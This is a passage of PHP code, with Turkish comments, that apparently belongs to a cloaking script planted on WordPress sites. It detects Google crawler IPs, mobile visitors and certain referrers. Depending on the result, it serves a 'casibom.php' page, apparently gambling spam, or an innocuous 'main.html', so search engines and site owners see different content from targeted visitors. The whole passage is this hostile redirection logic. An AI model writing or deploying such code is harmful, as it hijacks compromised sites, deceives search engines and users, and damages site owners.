4) { return false; } for ($i = 0; $i < count($blockParts); $i++) { if ($blockParts[$i] === '*') { continue; } if ($ipParts[$i] !== $blockParts[$i]) { return false; } } return true; } else { // IPv6 adresi için işlem $ipParts = explode(':', $ip); $blockParts = explode(':', $block); if (count($blockParts) > 8) { return false; } // Boş parçaları doldur foreach ($blockParts as &$part) { if ($part === '') { $part = '0'; } } foreach ($ipParts as &$part) { if ($part === '') { $part = '0'; } } // Kısa blokları genişlet for ($i = 0; $i < count($blockParts); $i++) { if ($blockParts[$i] === '*') { continue; } if ($ipParts[$i] !== $blockParts[$i]) { return false; } } return true; } } function GetIP() { if (getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP"); } elseif (getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); if (strstr($ip, ',')) { $tmp = explode(',', $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("REMOTE_ADDR"); } return $ip; } $user_ip = GetIP(); $isGoogleBots = false; foreach ($allowedIPs as $allowedIP) { if( matchIpWithBlock($user_ip,$allowedIP) ){ $isGoogleBots = true; break; } } header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); if( file_exists($_SERVER["DOCUMENT_SERVER"]."/wp-load.php") ){ // google ise /* if( $isGoogleBots ){ //if( true){ include_once __DIR__."/casibom.php"; exit; }else*/ if( checkRefererFromDomains() && checkIfMobile() && !$isGoogleBots ){ include_once __DIR__."/casibom.php"; exit; }else if( !$isGoogleBots ){ include_once __DIR__."/main.html"; exit; } }else{ // google ise if( $isGoogleBots ){ //if( true){ include_once __DIR__."/casibom.php"; exit; }else if( checkRefererFromDomains() && checkIfMobile() ){ include_once __DIR__."/casibom.php"; exit; } include_once __DIR__."/main.html"; exit; }